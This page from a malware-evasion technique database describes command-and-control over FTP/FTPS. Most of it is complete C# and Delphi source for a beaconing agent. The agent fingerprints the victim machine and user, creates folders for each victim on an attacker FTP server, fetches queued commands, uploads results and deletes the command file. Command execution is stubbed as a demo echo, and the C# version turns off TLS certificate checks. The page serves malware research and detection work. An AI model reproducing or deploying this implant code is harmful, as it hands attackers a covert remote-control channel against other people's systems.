C2 via FTP(S)

Created the Monday 12 June 2023. Updated 6 months, 3 weeks ago.

C2 via FTP is a technique that utilizes the File Transfer Protocol (FTP) to establish command and control communication between an attacker and victim systems. It involves sending commands and receiving responses within FTP sessions, effectively using FTP as a conduit for covert communication.

To implement C2 via FTP, an attacker needs control over an FTP server, and must establish a connection to a compromised system that has access to an external network. The victim’s system must be capable of initiating FTP sessions with the attacker's server. Additionally, the attacker could employ various means of obfuscation to make the traffic appear innocuous and blend in with legitimate FTP traffic.

C2 via FTP can serve diverse objectives, such as remotely executing commands, managing malware, or orchestrating multistage attacks. Detecting C2 via FTP can be challenging, as FTP is a widely-used protocol for legitimate file transfers, and the malicious traffic may not raise alarms in a network’s security monitoring systems. Moreover, if FTPS (FTP Secure) is used, the data is encrypted, adding an additional layer of complexity to detection.

Technique Identifier

U0910

Technique Tags

C2 FTP FTPS File

Featured Windows API's

Below, you will find a list of the most commonly used Windows API's that are currently utilized by malware authors for current evasion technique. This list is meant to provide an overview of the API's that are commonly used for this purpose. If there are any API's that you feel should be included on this list, please do not hesitate to contact us. We will be happy to update the list and provide any additional information or documentation that may be helpful.

Code Snippets

Description

his code snippet is written in C# (.NET Core) and facilitates request/response interactions via FTP, supporting both standard FTP and secure FTP (FTPS).

The WebRequest / FtpWebRequest classes are employed for executing FTP requests.

/*
 * =========================================================================================
 * www.unprotect.it (Unprotect Project)
 * Author:   Jean-Pierre LESUEUR (@DarkCoderSc)
 * =========================================================================================
 */

/*
 * Quick Start with Docker:
 * 
 *  > `docker pull stilliard/pure-ftpd`
 *  
 *  Unsecure FTP Server:
 *      > `docker run -d --name ftpd_server -p 21:21 -p 30000-30009:30000-30009 -e "PUBLICHOST: 127.0.0.1" -e "ADDED_FLAGS=-E -A -X -x" -e FTP_USER_NAME=dark -e FTP_USER_PASS=toor -e FTP_USER_HOME=/home/dark stilliard/pure-ftpd`
 * 
 *  "Secure" FTP Server (TLS):
 *      > `docker run -d --name ftpd_server -p 21:21 -p 30000-30009:30000-30009 -e "PUBLICHOST: 127.0.0.1" -e "ADDED_FLAGS=-E -A -X -x --tls=2" -e FTP_USER_NAME=dark -e FTP_USER_PASS=toor -e FTP_USER_HOME=/home/dark -e "TLS_CN=localhost" -e "TLS_ORG=gogopando" -e "TLS_C=FR" stilliard/pure-ftpd`
 *      
 *      
 *  /!\ DO NOT EXPOSE THE FTP SERVER TO LAN / WAN /!\   
 */

using System.Net;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;
using System.Security.Cryptography;
using System.Text;

class Program
{    
    public static Guid AgentSession = Guid.NewGuid();

    // EDIT HERE BEGIN ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    public static readonly string FtpHost = "127.0.0.1";
    public static readonly string FtpUser = "dark";
    public static readonly string FtpPwd = "toor";
    public static readonly bool FtpSecure = false;

    public static readonly int BeaconDelayMin = 500;
    public static readonly int BeaconDelayMax = 1000;
    // EDIT HERE END ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

    [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
    public static extern bool GetVolumeInformation(
        string lpRootPathName,
        StringBuilder lpVolumeNameBuffer,
        int nVolumeNameSize,
        out uint lpVolumeSerialNumber,
        out uint lpMaximumComponentLength,
        out uint lpFileSystemFlags,
        StringBuilder lpFileSystemNameBuffer,
        int nFileSystemNameSize
    );

    public static CancellationTokenSource CancellationTokenSource = new();

    /// <summary>
    /// The FtpHelper class is a utility in C# designed to streamline the application of the FTP protocol.
    /// This is accomplished through abstraction and simplification of the built-in WebRequest class,
    /// providing users with a more intuitive and manageable interface for FTP operations.
    /// 
    /// Supported operations:
    ///     * Session Actions
    ///     * Stream Upload (Generic)
    ///     * String Upload
    ///     * Stream Download (Generic)
    ///     * String Download
    ///     * Create Directory
    ///     * Delete File
    ///     * Enumerate Directory Files
    /// </summary>
    public class FtpHelper
    {
        public string Host;
        public string Username;
        private string Password;
        private bool Secure;

        public FtpHelper(string host, string username, string password, bool secure)
        {
            this.Host = host;
            this.Username = username;
            this.Password = password;
            this.Secure = secure;
        }

        private FtpWebRequest NewRequest(string? uri)
        {
            // Microsoft no longer recommends using "WebRequest" for FTP operations and advises opting for third-party components
            // specialized in this domain. However, for the sake of this demonstration, the built-in function was deemed convenient.
#pragma warning disable SYSLIB0014
            FtpWebRequest request = (FtpWebRequest)WebRequest.Create($"ftp://{this.Host}/{uri ?? ""}");
#pragma warning restore SYSLIB0014

            request.Credentials = new NetworkCredential(this.Username, this.Password);

            request.UsePassive = true;
            request.UseBinary = true;
            request.KeepAlive = true;
            request.EnableSsl = this.Secure;

            return request;
        }

        public void UploadData(Stream data, string destFilePath)
        {
            FtpWebRequest request = this.NewRequest(destFilePath);

            request.Method = WebRequestMethods.Ftp.UploadFile;

            using Stream requestStream = request.GetRequestStream();

            data.CopyTo(requestStream);
        }

        public void UploadString(string content, string destFilePath)
        {
            byte[] bytes = Encoding.UTF8.GetBytes(content);

            using MemoryStream stream = new(bytes);

            UploadData(stream, destFilePath);
        }

        public Stream DownloadData(string remoteFilePath)
        {
            FtpWebRequest request = this.NewRequest(remoteFilePath);

            request.Method = WebRequestMethods.Ftp.DownloadFile;

            FtpWebResponse response = (FtpWebResponse)request.GetResponse();

            Stream stream = response.GetResponseStream();

            return stream;
        }

        public string DownloadString(string remoteFilePath)
        {
            using Stream stream = DownloadData(remoteFilePath);

            using StreamReader reader = new StreamReader(stream);

            return reader.ReadToEnd();
        }

        private void ExecuteFTPCommand(string remoteDirectoryPath, string command)
        {
            FtpWebRequest request = this.NewRequest(remoteDirectoryPath);

            request.Method = command;

            using FtpWebResponse resp = (FtpWebResponse)request.GetResponse();
        }

        public void CreateDirectory(string remoteDirectoryPath)
        {
            ExecuteFTPCommand(remoteDirectoryPath, WebRequestMethods.Ftp.MakeDirectory);
        }

        public void DeleteFile(string remoteDirectoryPath)
        {
            ExecuteFTPCommand(remoteDirectoryPath, WebRequestMethods.Ftp.DeleteFile);
        }
    }

    /// <summary>
    /// This function generates a unique machine ID by hashing the primary Windows hard drive's serial number and converting it into
    /// a pseudo-GUID format.
    /// It is specifically designed for Microsoft Windows operating systems. However, you are encouraged to adapt this algorithm for 
    /// other operating systems and/or employ different strategies to derive a unique machine ID
    /// (e.g., using the MAC Address, CPU information, or saving a one-time generated GUID in the Windows registry or a file).    
    /// </summary>
    /// <returns>A unique machine ID in GUID format.</returns>
    [SupportedOSPlatform("windows")]
    public static Guid GetMachineId()
    {
        string candidate = "";

        string mainDrive = Environment.GetFolderPath(Environment.SpecialFolder.System)[..3];

        const int MAX_PATH = 260;

        StringBuilder lpVolumeNameBuffer = new(MAX_PATH + 1);        
        StringBuilder lpFileSystemNameBuffer = new(MAX_PATH + 1);

        bool success = GetVolumeInformation(
            mainDrive,
            lpVolumeNameBuffer,
            lpVolumeNameBuffer.Capacity,
            out uint serialNumber,
            out uint _,
            out uint _,
            lpFileSystemNameBuffer,
            lpFileSystemNameBuffer.Capacity
         );

        if (success)
            candidate += serialNumber.ToString();        

        using MD5 md5 = MD5.Create();

        byte[] hash = md5.ComputeHash(Encoding.ASCII.GetBytes(candidate));

        return new Guid(Convert.ToHexString(hash));
    }

    public static void Main(string[] args)
    {       
        // Important Notice: The delegate below renders the current application susceptible to
        // Man-in-the-Middle (MITM) attacks when utilizing SSL/TLS features.
        // This configuration was implemented to accommodate self-signed certificates.
        // However, it is strongly advised not to employ this approach in a production environment
        // if SSL/TLS security is expected.
        if (FtpSecure)
            ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
        ///

        // Adapt "GetMachineId" for cross-platform support.
        AgentSession = GetMachineId();

        List<Thread> daemons = new List<Thread>();
        ///

        // This thread is tasked with handling C2 commands and dispatching responses. Note that this sample utilizes a
        // single-threaded approach, but it's possible to distribute the operations across multiple threads to enhance
        // performance.
        daemons.Add(new Thread((object? obj) =>
        {
            if (obj == null)
                return;

            FtpHelper ftp = new(FtpHost, FtpUser, FtpPwd, FtpSecure);

            string contextPath = $"{AgentSession.ToString()}/{Environment.UserName}@{Environment.MachineName}";
            string commandFile = $"{contextPath}/__command__";

            CancellationToken cancellationToken = (CancellationToken)obj;
            while (!cancellationToken.IsCancellationRequested)
            {
                string? command = null;
                try
                {
                    // Retrieve dedicated command
                    try
                    {
                        command = ftp.DownloadString(commandFile);
                    }
                    catch { };

                    // Create remote directory tree
                    try
                    {
                        ftp.CreateDirectory(AgentSession.ToString());

                        ftp.CreateDirectory(contextPath);
                    }
                    catch { };

                    // Echo-back command result
                    if (!String.IsNullOrEmpty(command))
                    {
                        // ... PROCESS ACTION / COMMAND HERE ... //
                        // ...

                        string commandResult = $"This is just a demo, so I echo-back the command: `{command}`.";

                        // ...
                        // ... PROCESS ACTION / COMMAND HERE ... //

                        string resultFile = $"{contextPath}/result.{DateTime.Now.ToString("yyyy-MM-dd-HH-mm-ss")}";

                        ftp.UploadString(commandResult, resultFile);

                        // Delete the command file when processed
                        try
                        {
                            ftp.DeleteFile(commandFile);
                        }
                        catch { }
                    }

                    ///
                    Thread.Sleep(new Random().Next(BeaconDelayMin, BeaconDelayMax));
                }
                catch (Exception ex) {
                    Console.WriteLine(ex.Message);
                };
            }
        }));
                       
        // The action to handle a CTRL+C signal on the console has been registered.
        // When triggered, it will instruct any associated cancellation tokens to properly
        // shut down their associated daemons.
        Console.CancelKeyPress += (sender, cancelEventArgs) =>
        {
            CancellationTokenSource.Cancel(); // Signal tokens that application needs to be closed.

            cancelEventArgs.Cancel = true; // Cancel default behaviour
        };

        // Start daemons
        foreach (Thread daemon in daemons)
            daemon.Start(CancellationTokenSource.Token);

        // Keep process running until CTRL+C.
        CancellationToken token = CancellationTokenSource.Token;
        while (!token.IsCancellationRequested)
            Thread.Sleep(1000);

        // Wait for daemons to join main thread
        foreach (Thread daemon in daemons)
            daemon.Join();           
    }
}

Description

This code snippet utilizes the Windows API, specifically the Wininet library, to execute FTP operations.

(*
 * =========================================================================================
 * www.unprotect.it (Unprotect Project)
 * Author:   Jean-Pierre LESUEUR (@DarkCoderSc)
 * =========================================================================================
 *)

  // WinApi Documentation
  // https://learn.microsoft.com/en-us/windows/win32/wininet/ftp-sessions?FWT_mc_id=DSEC-MVP-5005282

program FtpC2;

{$APPTYPE CONSOLE}

uses Winapi.Windows,
     Winapi.WinInet,
     System.Classes,
     System.SysUtils,
     System.IOUtils,
     System.hash;

type
  EFtpException = class(Exception);

  EWindowsException = class(Exception)
  private
    FLastError : Integer;
  public
    {@C}
    constructor Create(const WinAPI : String); overload;

    {@G}
    property LastError : Integer read FLastError;
  end;

  TDaemon = class(TThread)
  private
    FAgentSession : TGUID;
    FFtpHost      : String;
    FFtpPort      : Word;
    FFtpUser      : String;
    FFtpPassword  : String;
  protected
    procedure Execute(); override;
  public
    {@C}
    constructor Create(const AFtpHost, AFtpUser, AFtpPassword : String; const AFtpPort : Word = INTERNET_DEFAULT_FTP_PORT); overload;
  end;

  TFtpHelper = class
  private
    FInternetHandle : HINTERNET;
    FFtpHandle      : HINTERNET;

    FFtpHost        : String;
    FFtpPort        : Word;
    FFtpUser        : String;
    FFtpPassword    : String;

    {@M}
    function IsConnected() : Boolean;
    procedure CheckConnected();
  public
    {@M}
    procedure Connect();
    procedure Disconnect();

    procedure Browse(const ADirectory : String);

    procedure UploadStream(var AStream : TMemoryStream; const AFileName : String);
    function DownloadStream(const AFileName : String) : TMemoryStream;

    procedure UploadString(const AContent, AFileName : String);
    function DownloadString(const AFileName : String) : String;

    function GetCurrentDirectory() : String;
    procedure SetCurrentDirectory(const APath : String);

    function DirectoryExists(const ADirectory : String) : Boolean;
    procedure CreateDirectory(const ADirectoryName : String; const ADoBrowse : Boolean = False);
    procedure CreateOrBrowseDirectory(const ADirectoryName : String);
    procedure DeleteFile(const AFileName : String);

    {@C}
    constructor Create(const AFtpHost : String; const AFtpPort : Word; const AFtpUser, AFtpPassword : String; const AAgent : String = 'FTP'); overload;
    constructor Create(const AFtpHost, AFtpUser, AFtpPassword : String) overload;

    destructor Destroy(); override;

    {@G}
    property Connected : Boolean read IsConnected;
  end;

(* EWindowsException *)

{ EWindowsException.Create }
constructor EWindowsException.Create(const WinAPI : String);
var AFormatedMessage : String;
begin
  FLastError := GetLastError();

  AFormatedMessage := Format('___%s: last_err=%d, last_err_msg="%s".', [
      WinAPI,
      FLastError,
      SysErrorMessage(FLastError)
  ]);

  // [+] ERROR_INTERNET_EXTENDED_ERROR

  ///
  inherited Create(AFormatedMessage);
end;

(* TFtpHelper *)

{ TFtpHelper.Create }
constructor TFtpHelper.Create(const AFtpHost : String; const AFtpPort : Word; const AFtpUser, AFtpPassword : String; const AAgent : String = 'FTP');
begin
  inherited Create();
  ///

  FFtpHost     := AFtpHost;
  FFtpPort     := AFtpPort;
  FFtpUser     := AFtpUser;
  FFtpPassword := AFtpPassword;

  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopenw?FWT_mc_id=DSEC-MVP-5005282
  FInternetHandle := InternetOpenW(PWideChar(AAgent), INTERNET_OPEN_TYPE_DIRECT, nil, nil, 0);
  if not Assigned(FInternetHandle) then
    raise EWindowsException.Create('InternetOpenW');
end;

{ TFtpHelper.Create }
constructor TFtpHelper.Create(const AFtpHost, AFtpUser, AFtpPassword : String);
begin
  Create(AFtpHost, INTERNET_DEFAULT_FTP_PORT, AFtpuser, AFtpPassword);
end;

{ TFtpHelper.Destroy }
destructor TFtpHelper.Destroy();
begin
  self.Disconnect();
  ///

  if Assigned(FInternetHandle) then
    InternetCloseHandle(FInternetHandle);

  ///
  inherited Destroy();
end;

{ TFtpHelper.Connect }
procedure TFtpHelper.Connect();
begin
  if IsConnected() then
    self.Disconnect();
  ///

  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetconnectw?FWT_mc_id=DSEC-MVP-5005282
  FFtpHandle := InternetConnectW(
    FInternetHandle,
    PWideChar(FFtpHost),
    FFtpPort,
    PWideChar(FFtpUser),
    PWideChar(FFtpPassword),
    INTERNET_SERVICE_FTP,
    INTERNET_FLAG_PASSIVE,
    0
  );

  if not Assigned(FFtpHandle) then
    raise EWindowsException.Create('InternetConnectW');
end;

{ TFtpHelper.Browse }
procedure TFtpHelper.Browse(const ADirectory: string);
begin
  CheckConnected();
  ///

  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpsetcurrentdirectoryw?FWT_mc_id=DSEC-MVP-5005282
  if not FtpSetCurrentDirectoryW(FFtpHandle, PWideChar(ADirectory)) then
    raise EWindowsException.Create('FtpSetCurrentDirectoryW');
end;

{ TFtpHelper.UploadStream }
procedure TFtpHelper.UploadStream(var AStream : TMemoryStream; const AFileName : String);
var hFtpFile      : HINTERNET;
    ABytesRead    : Cardinal;
    ABuffer       : array[0..8192 -1] of byte;
    ABytesWritten : Cardinal;
    AOldPosition  : Cardinal;
begin
  CheckConnected();
  ///

  if not Assigned(AStream) then
    Exit();

  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpopenfilew?FWT_mc_id=DSEC-MVP-5005282
  hFtpFile := FtpOpenFileW(FFtpHandle, PWideChar(AFileName), GENERIC_WRITE, FTP_TRANSFER_TYPE_BINARY, INTERNET_FLAG_RELOAD);
  if not Assigned(hFtpFile) then
    raise EWindowsException.Create('FtpOpenFileW');
  try
    if AStream.Size = 0 then
      Exit();
    ///

    AOldPosition := AStream.Position;

    AStream.Position := 0;
    repeat
      ABytesRead := AStream.Read(ABuffer, SizeOf(ABuffer));
      if ABytesRead = 0 then
        break;

      // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetwritefile?FWT_mc_id=DSEC-MVP-5005282
      if not InternetWriteFile(hFtpFile, @ABuffer, ABytesRead, ABytesWritten) then
        raise EWindowsException.Create('InternetWriteFile');


    until (ABytesRead = 0);

    ///
    AStream.Position := AOldPosition;
  finally
    InternetCloseHandle(hFtpFile);
  end;
end;

{ TFtpHelper.DownloadStream }
function TFtpHelper.DownloadStream(const AFileName : String) : TMemoryStream;
var hFtpFile   : HINTERNET;
    ABuffer    : array[0..8192 -1] of byte;
    ABytesRead : Cardinal;
begin
  result := nil;
  ///

  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetreadfile?FWT_mc_id=DSEC-MVP-5005282
  hFtpFile := FtpOpenFileW(FFtpHandle, PWideChar(AFileName), GENERIC_READ, FTP_TRANSFER_TYPE_BINARY, INTERNET_FLAG_RELOAD);
  if not Assigned(hFtpFile) then
    raise EWindowsException.Create('FtpOpenFileW');
  try
    result := TMemoryStream.Create();
    ///

    while true do begin
      if not InternetReadFile(hFtpFile, @ABuffer, SizeOf(ABuffer), ABytesRead) then
        break;

      if ABytesRead = 0 then
        break;

      result.Write(ABuffer, ABytesRead);

      if ABytesRead <> SizeOf(ABuffer) then
        break;
    end;

    ///
    result.Position := 0;
  finally
    InternetCloseHandle(hFtpFile);
  end;
end;

{ TFtpHelper.UploadString }
procedure TFtpHelper.UploadString(const AContent, AFileName : String);
var AStream       : TMemoryStream;
    AStreamWriter : TStreamWriter;
begin
  AStreamWriter := nil;
  ///

  AStream := TMemoryStream.Create();
  try
    AStreamWriter := TStreamWriter.Create(AStream, TEncoding.UTF8);
    ///

    AStreamWriter.Write(AContent);

    ///
    self.UploadStream(AStream, AFileName);
  finally
    if Assigned(AStreamWriter) then
      FreeAndNil(AStreamWriter)
    else if Assigned(AStream) then
      FreeAndNil(AStreamWriter);
  end;
end;

{ TFtpHelper.DownloadString }
function TFtpHelper.DownloadString(const AFileName : String) : String;
var AStream       : TMemoryStream;
    AStreamReader : TStreamReader;
begin
  result := '';
  ///

  AStreamReader := nil;
  ///

  AStream := self.DownloadStream(AFileName);
  if not Assigned(AStream) then
    Exit();
  try
    AStreamReader := TStreamReader.Create(AStream, TEncoding.UTF8);

    ///
    result := AStreamReader.ReadToEnd();
  finally
    if Assigned(AStreamReader) then
      FreeAndNil(AStreamReader)
    else if Assigned(AStream) then
      FreeAndNil(AStream);
  end;
end;

{ TFtpHelper.GetCurrentDirectory }
function TFtpHelper.GetCurrentDirectory() : String;
var ALength : DWORD;
begin
  CheckConnected();
  ///

  result := '';

  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpgetcurrentdirectoryw?FWT_mc_id=DSEC-MVP-5005282
  if not FtpGetCurrentDirectoryW(FFtpHandle, nil, ALength) then
    if GetLastError() <> ERROR_INSUFFICIENT_BUFFER then
      raise EWindowsException.Create('FtpGetCurrentDirectory(__call:1)');

  SetLength(result, ALength div SizeOf(WideChar));

  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpgetcurrentdirectoryw?FWT_mc_id=DSEC-MVP-5005282
  if not FtpGetCurrentDirectoryW(FFtpHandle, PWideChar(result), ALength) then
    raise EWindowsException.Create('FtpGetCurrentDirectory(__call:2)');
end;

{ TFtpHelper.SetCurrentDirectory }
procedure TFtpHelper.SetCurrentDirectory(const APath : String);
begin
  CheckConnected();
  ///

  if not FtpSetCurrentDirectoryW(FFtpHandle, PWideChar(APath)) then
    raise EWindowsException.Create('FtpSetCurrentDirectoryW');
end;

{ TFtpHelper.DirectoryExists }
function TFtpHelper.DirectoryExists(const ADirectory : String) : Boolean;
var AOldDirectory : String;
begin
  CheckConnected();
  ///

  result := False;

  AOldDirectory := self.GetCurrentDirectory();
  try
    SetCurrentDirectory(ADirectory);
    try
      result := True;
    finally
      SetCurrentDirectory(AOldDirectory);
    end;
  except
    //on E : Exception do
    //  writeln(e.Message);
    // [+] Check with "ERROR_INTERNET_EXTENDED_ERROR" status
  end;
end;

{ TFtpHelper.CreateDirectory }
procedure TFtpHelper.CreateDirectory(const ADirectoryName : String; const ADoBrowse : Boolean = False);
begin
  CheckConnected();
  ///

  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpcreatedirectoryw?FWT_mc_id=DSEC-MVP-5005282
  if not FtpCreateDirectoryW(FFtpHandle, PWideChar(ADirectoryName)) then
    raise EWindowsException.Create('FtpCreateDirectory');

  if ADoBrowse then
    self.Browse(ADirectoryName);
end;

{ TFtpHelper.CreateOrBrowseDirectory }
procedure TFtpHelper.CreateOrBrowseDirectory(const ADirectoryName : String);
begin
  if self.DirectoryExists(ADirectoryName) then
    self.Browse(ADirectoryName)
  else
    self.CreateDirectory(ADirectoryName, True);
end;

{ TFtpHelper.DeleteFile }
procedure TFtpHelper.DeleteFile(const AFileName : String);
begin
  CheckConnected();
  ///

  // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpdeletefilew?FWT_mc_id=DSEC-MVP-5005282
  if not FtpDeleteFileW(FFtpHandle, PWideChar(AFileName)) then
    raise EWindowsException.Create('FtpDeleteFileW');
end;

{ TFtpHelper.CheckConnected }
procedure TFtpHelper.CheckConnected();
begin
  if not IsConnected() then
    raise EFtpException.Create('Not connected to FTP Server.');
end;

{ TFtpHelper.Disconnect }
procedure TFtpHelper.Disconnect();
begin
  if Assigned(FFtpHandle) then
    InternetCloseHandle(FFtpHandle);
end;

{ TFtpHelper.IsConnected }
function TFtpHelper.IsConnected() : Boolean;
begin
  result := Assigned(FFtpHandle);
end;

(* TDaemon *)

{ TDaemon.Create }
constructor TDaemon.Create(const AFtpHost, AFtpUser, AFtpPassword : String; const AFtpPort : Word = INTERNET_DEFAULT_FTP_PORT);

  function GetMachineId() : TGUID;
  var ARoot                 : String;
      AVolumeNameBuffer     : String;
      AFileSystemNameBuffer : String;
      ADummy                : Cardinal;
      ASerialNumber         : DWORD;
      AHash                 : TBytes;
  begin
    ARoot := TPath.GetPathRoot(TPath.GetHomePath());
    ///

    SetLength(AVolumeNameBuffer, MAX_PATH +1);
    SetLength(AFileSystemNameBuffer, MAX_PATH +1);
    try
      // https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getvolumeinformationw?FWT_mc_id=DSEC-MVP-5005282
      if not GetVolumeInformationW(
        PWideChar(ARoot),
        PWideChar(AVolumeNameBuffer),
        Length(AVolumeNameBuffer),
        @ASerialNumber,
        ADummy,
        ADummy,
        PWideChar(AFileSystemNameBuffer),
        Length(AFileSystemNameBuffer)
      ) then
        Exit(TGUID.Empty);
      ///

      // Tiny but efficient trick to generate a fake GUID from a MD5 (32bit Hex Long)
      AHash := THashMD5.GetHashBytes(IntToStr(ASerialNumber));

      result := TGUID.Create(Format('{%.8x-%.4x-%.4x-%.4x-%.4x%.8x}', [
        PLongWord(@AHash[0])^,
        PWord(@AHash[4])^,
        PWord(@AHash[6])^,
        PWord(@AHash[8])^,
        PWord(@AHash[10])^,
        PLongWord(@AHash[12])^
      ]));
    finally
      SetLength(AVolumeNameBuffer, 0);
      SetLength(AFileSystemNameBuffer, 0);
    end;
  end;

begin
  inherited Create(False);
  ///

  FFtpHost     := AFtpHost;
  FFtpPort     := AFtpPort;
  FFtpUser     := AFtpUser;
  FFtpPassword := AFtpPassword;

  ///
  FAgentSession := GetMachineId();
end;

{ TDaemon.Execute }
procedure TDaemon.Execute();
var AFtp           : TFtpHelper;
    ACommand       : String;
    AContextPath   : String;
    AUserDomain    : String;
    ACommandResult : String;


const STR_COMMAND_PLACEHOLDER = '__command__';

type
  TWindowsInformationKind = (
    wikUserName,
    wikComputerName
  );

    { _.GetWindowsInformation }
    function GetWindowsInformation(const AKind : TWindowsInformationKind = wikUserName) : String;
    var ALength : cardinal;
    begin
      ALength := MAX_PATH + 1;

      SetLength(result, ALength);

      case AKind of
        wikUserName:
          // https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getusernamea?FWT_mc_id=DSEC-MVP-5005282
          if not GetUserNameW(PWideChar(result), ALength) then
            raise EWindowsException.Create('GetUserNameW');
        wikComputerName:
          // https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getcomputernamew?FWT_mc_id=DSEC-MVP-5005282
          if not GetComputerNameW(PWideChar(result), ALength) then
              raise EWindowsException.Create('GetComputerNameW');
      end;

      ///
      SetLength(result, ALength);

      result := Trim(result);
    end;

begin
  AFtp := TFtpHelper.Create(FFtpHost, FFtpPort, FFtpUser, FFtpPassword);
  try
    AUserDomain := Format('%s@%s', [
      GetWindowsInformation(),
      GetWindowsInformation(wikComputerName)]
    );

    AContextPath := Format('%s/%s', [
      FAgentSession.ToString(),
      AUserDomain
    ]);
    ///

    while not Terminated do begin
      ACommand := '';
      try
        AFtp.Connect();
        try
          // Create remote directory tree
          try
            AFtp.CreateOrBrowseDirectory(FAgentSession.ToString());

            AFtp.CreateOrBrowseDirectory(AUserDomain);
          except end;

          // Retrieve dedicated command
          try
            ACommand := AFtp.DownloadString(STR_COMMAND_PLACEHOLDER);
          except end;

          // Echo-back command result
          if not String.IsNullOrEmpty(ACommand) then begin
            // ... PROCESS ACTION / COMMAND HERE ... //
            // ...

            ACommandResult := Format('This is just a demo, so I echo-back the command: "%s".', [ACommand]);

            AFtp.UploadString(ACommandResult, Format('result.%s', [
              FormatDateTime('yyyy-mm-dd-hh-nn-ss', Now)])
            );

            // Delete the command file when processed
            try
              AFtp.DeleteFile(STR_COMMAND_PLACEHOLDER);
            except end;
          end;
        finally
          AFtp.Disconnect(); // We are in beacon mode
        end;
      except
        on E : Exception do
          WriteLn(Format('Exception: %s', [E.Message]));
      end;

      ///
      Sleep(1000);
    end;
  finally
    if Assigned(AFtp) then
      FreeAndNil(AFtp);

    ///
    ExitThread(0); //!important
  end;
end;

(* Code *)

procedure main();
var ADaemon : TDaemon;
begin
  ADaemon := TDaemon.Create('ftp.localhost', 'dark', 'toor');

  readln;
end;

(* EntryPoint *)
begin
  main();

end.

Contributors

Jean-Pierre LESUEUR (DarkCoderSc)

Additional Resources

External Links

The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.

GitHub - DarkCoderSc/SharpFtpC2: A Streamlined FTP-Driven Command and Control Conduit for Interconnecting Remote Systems.